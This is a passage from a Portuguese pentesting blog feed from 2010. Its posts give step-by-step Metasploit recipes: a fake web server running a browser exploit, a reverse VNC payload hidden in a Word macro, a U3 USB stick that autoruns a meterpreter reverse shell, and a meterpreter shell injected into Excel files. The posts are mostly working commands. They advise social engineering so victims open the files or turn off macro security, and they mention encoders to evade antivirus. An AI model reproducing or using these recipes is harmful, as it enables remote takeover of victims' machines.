informa&amp;ccedil;&amp;otilde;es sobre o exploit e sua respectiva falha, podemos digitar o seguinte comando:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;&amp;gt; info&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;  Esse comando exibir&amp;aacute;, al&amp;eacute;m da informa&amp;ccedil;&amp;otilde;es sobre a falha, as op&amp;ccedil;&amp;otilde;es que precisamos configurar para o correto funcionamento do exploit. As op&amp;ccedil;&amp;otilde;es obrigat&amp;oacute;rias s&amp;atilde;o: SRVHOST, SRVPORT&lt;/p&gt;&lt;br /&gt;&lt;p&gt;  Vamos configur&amp;aacute;-las:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;&amp;gt; set SRVHOST 192.168.0.83&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;  Esse &amp;uacute;ltimo comando, permitir&amp;aacute; configurarmos o IP no qual o servidor web falso ser&amp;aacute; montado para que a v&amp;iacute;tima acesso-o. No comando abaixo, vamos configurar a porta na qual o servidor ficar&amp;aacute; escutando, &amp;agrave; espera de uma conex&amp;atilde;o:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;&amp;gt; set SRVPORT 80&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;  Havendo configurado a parte b&amp;aacute;sica do exploit, precisamos configurar o que ele far&amp;aacute; ap&amp;oacute;s explorar a falha no navegador da v&amp;iacute;tima, isso &amp;eacute;, o payload:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;&amp;gt; set PAYLOAD windows/meterpreter/reverse_tcp &lt;br /&gt;&lt;br /&gt;&amp;gt; set LHOST 192.168.0.83 &lt;br /&gt;&lt;br /&gt;&amp;gt; set LPORT 4444&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;  Tudo configurado, funcionando bem, sem nenhum erro, simplesmente lan&amp;ccedil;amos o exploit e aguardamos a v&amp;iacute;tima conectar em nosso servidor falso:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;&amp;gt; exploit&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;  Para conseguirmos que a v&amp;iacute;tima conecte, nada como um bom e velho ataque de engenharia social :-) &lt;/p&gt;&lt;br /&gt;&lt;p&gt;De forma mais ilustrativa, voc&amp;ecirc;s podem assistir ao v&amp;iacute;deo que gravei para minha apresenta&amp;ccedil;&amp;atilde;o da palestra sobre &amp;quot;Ferramentas Livres para Teste de Invas&amp;atilde;o&amp;quot;, que ocorrei na 11&amp;ordf; edi&amp;ccedil;&amp;atilde;o do FISL, em julho/2010. O mais legal &amp;eacute; que apresentei a falha no dia seguinte em que a mesma foi publicada, por isso ver&amp;atilde;o que no v&amp;iacute;deo o nome do exploit ainda n&amp;atilde;o possui o nome final, que o que est&amp;aacute; no texto, por isso, sigam o que est&amp;aacute; no artigo:&lt;/p&gt;&lt;br /&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ODrn_YfFgm8?fs=1&amp;amp;hl=pt_BR"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ODrn_YfFgm8?fs=1&amp;amp;hl=pt_BR" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-9008330309505272745?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/9008330309505272745/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/12/atacando-maquinas-windows-xp-vista-7.html#comment-form' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/9008330309505272745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/9008330309505272745'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/12/atacando-maquinas-windows-xp-vista-7.html' title='Atacando máquinas Windows (XP, Vista, 7, 2003, 2008) através de um webserver falso'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-3244420511475132377</id><published>2010-11-06T14:36:00.002-02:00</published><updated>2010-11-06T14:37:27.669-02:00</updated><title type='text'>Metasploit com Microsoft Word</title><content type='html'>&lt;p&gt;Para demonstrar as falhas de segurança dos usuários, um teste de conceito simples e eficaz que pode ser feito é incluir um payload do Metasploit dentro de um arquivo do Word.&lt;/p&gt;Em três passos simples, vamos criar um payload no Metasploit como uma macro do Visual Basic, em seguida, vamos inserir a macro em um arquivo do Word e, finalmente, vai vamos deixar a máquina escutando à espera de uma conexão reversa que deve ser feita quando a vítima abrir o arquivo.&lt;br /&gt;&lt;p&gt;&lt;strong&gt;&lt;br /&gt;&lt;br /&gt; 1. Gerar o Payload&lt;/strong&gt;&lt;/p&gt;Selecionamos como payload uma conexão reversa de VNC, que se conecta ao IP "10.10.10.10" na porta "443"&lt;br /&gt;&lt;p&gt;./msfpayload windows/vncinject/reverse_tcp LHOST=10.10.10.10 LPORT=443 V &amp;gt; payload.bas&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;Não é necessário que a vítima tenha instalado um servidor VNC, mas sim que o atacante tenha o vncviewer instalado. Se não, basta executar no terminal o comando:&lt;br /&gt;&lt;p&gt;&lt;em&gt;#apt-get install vncviewer&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;2. Embutimos a macro&lt;/strong&gt;&lt;/p&gt;Temos que separar o arquivo payload.bas em duas partes que estão claramente divididos dentro do mesmo, de um lado o código de macro e do outro os dados do payload.&lt;br /&gt;&lt;p&gt;Primeiro, vá em "Ferramentas -&amp;gt; Macro -&amp;gt; Editor do Visual Basic". Em seguida vá em "Arquivo -&amp;gt; Importar Arquivo" e ali selecionamos o arquivo que dividimos previamente com o código da macro.&lt;/p&gt;&lt;br /&gt;&lt;div class="figura"&gt;&lt;a href="http://img.segurancalinux.com/imagens/artigos/comunidade/word_exploit.png" target="_blank"&gt;&lt;img src="http://img.segurancalinux.com/imagens/artigos/comunidade/thumb_word_exploit.png" alt="Linux: Metasploit com Microsoft Word" height="257" width="400" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Se quisermos verificar se o código da macro foi carregado com êxito, vamos ao menu do lado esquerdo, e na pasta "Módulos" deve encontrar o "Módulo 1" com o nosso código. Ao dar duplo clique em "Módulo 1" o código aparece carregado.&lt;/p&gt;Feche o "Editor do Visual Basic", e no final do conteúdo do Word, copiamos os dados do payload.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;strong&gt;3. Ouvindo a Conexão Reversa&lt;/strong&gt;&lt;br /&gt;&lt;p&gt;No final, deixamos nossa máquina ouvindo à espera da conexão reversa via VNC, que será criada quando a vítima abrir o arquivo do Word.&lt;/p&gt;./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=10.10.10.10 LPORT=443 E&lt;br /&gt;&lt;p&gt;Se não queremos o Shell de boas vindas do Metasploit, que é um terminal DOS de cor azul, devemos agregar o seguinte parâmetro ao comando anterior:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;"DisableCourtesyShell=True"&lt;br /&gt;&lt;br /&gt;&lt;/em&gt;&lt;/p&gt;Para finalizar, em u ataque real ninguém vai utilizar o VNC como payload, porque obviamente a vítima perceberá que tomamos o controle de seu PC, mas por outro lado, é muito efetivo para realizar demonstrações práticas para a gerência de uma empresa ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-3244420511475132377?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/3244420511475132377/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/11/metasploit-com-microsoft-word.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/3244420511475132377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/3244420511475132377'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/11/metasploit-com-microsoft-word.html' title='Metasploit com Microsoft Word'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-952098438083543768</id><published>2010-10-24T11:30:00.000-02:00</published><updated>2010-10-24T11:31:32.268-02:00</updated><title type='text'></title><content type='html'>&lt;p&gt;&lt;strong&gt;1 - O Ataque&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Em 4 passos simples iremos construir um pendrive USB U3, de modo que quando conectado a um PC, realize uma conexão reversa com o Meterpreter.&lt;/p&gt;&lt;p&gt;A idéia é gerar, com o Metasploit, um arquivo executável com um payload para gerar uma conexão reversa ao conectar o pendrive na USB do PC. Para gravar o payload dentro do U3, usaremos o programa Universal Customizer.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. Gerar o payload com o Metasploit&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Neste caso vamos criar um executável com uma conexão reversa do Meterpreter:&lt;/p&gt;&lt;p&gt;&lt;em&gt;./msfpayload windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=443 X &amp;gt; malware.exe&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Obviamente que podemos utilizar qualquer payload, como também utilizar encoders para tornar mais difícil sua detecção por antivírus.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;2. Criar nossa ISO&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Uma vez que tenhamos baixado e descompactado o Universal Customizer (http://www.hak5.org/packages/files/Universal_Customizer.zip), copiamos o arquivo  malware.exe para o diretório "U3CUSTOM" e criamos o arquivo "autorun.inf" com o seguinte conteúdo:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;[AutoRun]&lt;br /&gt;&lt;br /&gt; open=malware.exe&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Após isso, executamos o "ISOCreate.cmd" e dentro do diretório "BIN" será criada nossa ISO com o nome "U3CUSTOM.ISO". Se não criarmos nossa ISO , o Universal Customizer utilizará a ISO "U3CUSTOM.ISO" que já vem dentro do pacote, com uma versão feita por Hacksaw.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;3. Gravar a ISO&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Iniciamos o Universal Customizer e vamos seguindo os passo:&lt;/p&gt;&lt;br /&gt;&lt;div class="figura"&gt;&lt;a href="http://img.segurancalinux.com/imagens/artigos/comunidade/universal.png" target="_blank"&gt;&lt;/a&gt;&lt;a href="http://img.segurancalinux.com/imagens/artigos/comunidade/universal.png" target="_blank"&gt;&lt;img src="http://img.segurancalinux.com/imagens/artigos/comunidade/thumb_universal.png" width="400" height="290" border="0" alt="Linux: Ataque USB U3 com Metasploit" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;Ao finalizar, retiramos o pendrive, e quando voltarmos a conectá-lo já teremos nosso payload sendo executado.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;4. Aguardando a conexão reversa&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Para finalizar, devemos deixar o meterpreter "escutando" à espera da conexão reversa que será feita pelo payload gravado no pendrive: &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;./msfconsole&lt;br /&gt;&lt;br /&gt; use exploit/multi/handler&lt;br /&gt;&lt;br /&gt; set PAYLAOD windows/meterpreter/reverse_tcp&lt;br /&gt;&lt;br /&gt; set LHOST 1.1.1.1&lt;br /&gt;&lt;br /&gt; set LPORT 443&lt;br /&gt;&lt;br /&gt; set ExitOnSession false&lt;br /&gt;&lt;br /&gt; exploit -j&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Isso é tudo, que serve inclusive como uma prova de conceito para comprovar a segurança da máquina de um usuário.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;LINKS RELACIONADOS:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt; &lt;a href="http://www.infoseczen.com/?p=127"&gt;http://www.infoseczen.com/?p=127&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; &lt;a href="http://www.slideshare.net/seguinfo/sallis-usb-hacks"&gt;http://www.slideshare.net/seguinfo/sallis-usb-hacks&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; &lt;a href="http://www.hak5.org/packages/files/Universal_Customizer.zip"&gt;http://www.hak5.org/packages/files/Universal_Customizer.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-952098438083543768?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/952098438083543768/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/10/1-o-ataque-em-4-passos-simples-iremos.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/952098438083543768'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/952098438083543768'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/10/1-o-ataque-em-4-passos-simples-iremos.html' title=''/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8697018487126590629</id><published>2010-10-20T19:30:00.002-02:00</published><updated>2010-10-20T19:34:11.788-02:00</updated><title type='text'>Série "Crime na Rede", na rede Record</title><content type='html'>Caros,&lt;br /&gt;&lt;br /&gt;Dia 18/10 começou uma série chamada Crime na Rede na Record, e no segundo dia foi exibida uma reportagem onde falo rapidamente e uma de minhas aulas foi filmada, onde inclusive um aluno comenta sobre um caso de invasão no site de sua empresa.&lt;br /&gt;&lt;br /&gt;Para quem quiser conferir, segue o link:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://noticias.r7.com/tecnologia-e-ciencia/noticias/veja-como-as-vitimas-se-defendem-dos-hackers-20101019.html"&gt;http://noticias.r7.com/tecnologia-e-ciencia/noticias/veja-como-as-vitimas-se-defendem-dos-hackers-20101019.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[ ]'s&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8697018487126590629?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8697018487126590629/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/10/serie-crime-na-rede-na-rede-record.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8697018487126590629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8697018487126590629'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/10/serie-crime-na-rede-na-rede-record.html' title='Série &quot;Crime na Rede&quot;, na rede Record'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-7716918176238868239</id><published>2010-10-11T22:24:00.009-03:00</published><updated>2010-10-11T22:47:19.752-03:00</updated><title type='text'>XLSInjector - Saiba como injetar um Shell Meterpreter em arquivos Excel</title><content type='html'>Nesse artigo entenderemos como é possível utilizar a ferramenta XLSInjector, juntamente com o Metasploit, para criar arquivos do Excel que carregam shellcode e conseguirmos uma conexão remota com a máquina alvo.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1 - Preparação&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Não é um segredo para ninguém que a suíte de programas para escritório mais utilizada no mundo é o Microsoft Office, possuindo a maior fatia do mercado em sistemas operacionais Windows e Mac. Desta suíte, os programas mais utilizados são Microsoft Word, Microsoft Excel e Microsoft Power Point, que quase sempre estão instalados na maioria dos computadores.&lt;br /&gt;&lt;br /&gt;Nesse artigo vamos tratar do &lt;em&gt;XLSInjector&lt;/em&gt;, uma ferramenta criada por Keith Lee que permite injetar em um arquivo do Microsoft Excel um console &lt;em&gt;meterpreter&lt;/em&gt; (executado totalmente na memória ram, sem criar nenhum processo adicional), permitindo-nos acessar o mesmo remotamente a partir da porta 4444 e ganhar controle total da máquina.&lt;br /&gt;&lt;br /&gt;Para que o &lt;em&gt;XLSInjector&lt;/em&gt; funcione adequadamente, precisamos do seguinte ambiente configurado:&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Uma máquina (virtual ou real) com Windows&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Microsoft Excel&lt;br /&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://www.activestate.com/activeperl/"&gt;Perl&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://search.cpan.org/CPAN/authors/id/J/JD/JDB/Win32-OLE-0.1709.tar.gz"&gt;O módulo Win32:OLE para Perl&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Um arquivo XLS para infectar&lt;br /&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://code.google.com/p/xlsinjector/"&gt;XLSInjector&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; e por último, o &lt;a href="http://www.metasploit.com/"&gt;Metasploit Framework&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Depois de configurar todos os elementos necessários para o correto funcionamento do XLSInjector, passamos para a execução, que é bem simples: &lt;strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# perl xlsinjector.pl -i ArquivoDoExcel.xls -o ArquivoComShellDoExcel.xls&lt;/strong&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Mas nem tudo é tão simples com essa ferramenta, pois o &lt;em&gt;XLSInjector&lt;/em&gt; NÃO consegue burlar os filtros de scripts existentes na suíte Microsoft e, justo por isso, é necessário convencer, por meio de engenharia social, ou qualquer outra técnica, que o usuário desabilite as configurações de segurança de macros e que "confie" no arquivo, o que é um pouco complicado, mas que certamente com um pouco de persuasão é possível conseguir.&lt;br /&gt;&lt;br /&gt;Supondo que já realizou as configurações necessárias para o correto funcionamento do &lt;em&gt;XLSInjector&lt;/em&gt;, vamos acessar remotamente nossa shell &lt;em&gt;meterpreter&lt;/em&gt; através do console do Metasploit Framework.&lt;br /&gt;&lt;br /&gt;Iniciamos o console do Metasploit:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;# ./msfconsole&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Uma vez que o console MSF esteja aberto, carregamos o payload do &lt;em&gt;meterpreter&lt;/em&gt;:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;set payload windows/meterpreter/bind_tcp &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Configuramos o payload corretamente, com seus parâmetros:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;set RHOST ip_da_vitima&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;set RPOT 4444 &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;E executamos:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;exploit&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Com esses passos simples temos à nossa disposição uma shell &lt;em&gt;meterpreter&lt;/em&gt; na máquina remota. Temos que ter em mente que uma shell &lt;em&gt;meterpreter&lt;/em&gt; é diferente de uma shell de um sistema operacional, e que possui seu próprio conjunto de comando, que pode ser listado simplesmente digitando na shell "?" e pressionando enter. Com esse comando, terá em sua tela algo parecido com isso:&lt;br /&gt;&lt;/p&gt;&lt;h1&gt;&lt;span style="font-size:100%;"&gt;Core Commands&lt;/span&gt;&lt;/h1&gt;  &lt;table class="tabCorpo"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Command&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;?&lt;/td&gt; &lt;td&gt;Help menu&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;channel&lt;/td&gt; &lt;td&gt;Displays information about active channels&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;close&lt;/td&gt; &lt;td&gt;Closes a channel&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;exit&lt;/td&gt; &lt;td&gt;Terminate the &lt;em&gt;meterpreter&lt;/em&gt; session&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;help&lt;/td&gt; &lt;td&gt;Help menu&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;interact&lt;/td&gt; &lt;td&gt;Interacts with a channel&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;irb&lt;/td&gt; &lt;td&gt;Drop into irb scripting mode&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;migrate&lt;/td&gt; &lt;td&gt;Migrate the server to another process&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;quit&lt;/td&gt; &lt;td&gt;Terminate the &lt;em&gt;meterpreter&lt;/em&gt; session&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;read&lt;/td&gt; &lt;td&gt;Reads data from a channel&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;run&lt;/td&gt; &lt;td&gt;Executes a &lt;em&gt;meterpreter&lt;/em&gt; script&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;use&lt;/td&gt; &lt;td&gt;Load a one or more &lt;em&gt;meterpreter&lt;/em&gt; extensions&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;write&lt;/td&gt; &lt;td&gt;Writes data to a channel&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;&lt;span style="font-size:100%;"&gt;Stdapi: File system Commands&lt;/span&gt;&lt;/h1&gt; &lt;table class="tabCorpo"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Command&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;cat&lt;/td&gt; &lt;td&gt;Read the contents of a file to the screen&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;cd&lt;/td&gt; &lt;td&gt;Change directory&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;download&lt;/td&gt; &lt;td&gt;Download a file or directory&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;edit&lt;/td&gt; &lt;td&gt;Edit a file&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;getlwd&lt;/td&gt; &lt;td&gt;Print local working directory&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;getwd&lt;/td&gt; &lt;td&gt;Print working directory&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;lcd&lt;/td&gt; &lt;td&gt;Change local working directory&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;lpwd&lt;/td&gt; &lt;td&gt;Print local working directory&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;ls&lt;/td&gt; &lt;td&gt;List files&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;mkdir&lt;/td&gt; &lt;td&gt;Make directory&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;pwd&lt;/td&gt; &lt;td&gt;Print working directory&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;rmdir&lt;/td&gt; &lt;td&gt;Remove directory&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;upload&lt;/td&gt; &lt;td&gt;Upload a file or directory&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;&lt;span style="font-size:100%;"&gt;Stdapi: Networking Commands&lt;/span&gt;&lt;/h1&gt;  &lt;table class="tabCorpo"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Command&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;ipconfig&lt;/td&gt; &lt;td&gt;Display interfaces&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;portfwd&lt;/td&gt; &lt;td&gt;Forward a local port to a remote service&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;route&lt;/td&gt; &lt;td&gt;View and modify the routing table&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;h1&gt;&lt;span style="font-size:100%;"&gt;Stdapi: System Commands&lt;/span&gt;&lt;/h1&gt; &lt;table class="tabCorpo"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td style="font-weight: bold;"&gt;Command&lt;/td&gt; &lt;td style="font-weight: bold;"&gt;Description&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;execute&lt;/td&gt; &lt;td&gt;Execute a command&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;getpid&lt;/td&gt; &lt;td&gt;Get the current process identifier&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;  &lt;td&gt;getuid&lt;/td&gt; &lt;td&gt;Get the user that the server is running as&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;kill&lt;/td&gt; &lt;td&gt;Terminate a process&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;ps&lt;/td&gt; &lt;td&gt;List running processes&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;reboot&lt;/td&gt; &lt;td&gt;Reboots the remote computer&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;reg&lt;/td&gt; &lt;td&gt;Modify and interact with the remote registry&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;rev2self&lt;/td&gt; &lt;td&gt;Calls RevertToSelf() on the remote machine&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;shutdown&lt;/td&gt; &lt;td&gt;Shuts down the remote computer&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;sysinfo&lt;/td&gt; &lt;td&gt;Gets information about the remote system, such as OS&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;&lt;span style="font-size:100%;"&gt;Stdapi: User interface Commands&lt;/span&gt;&lt;/h1&gt;  &lt;table class="tabCorpo"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Command&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt; 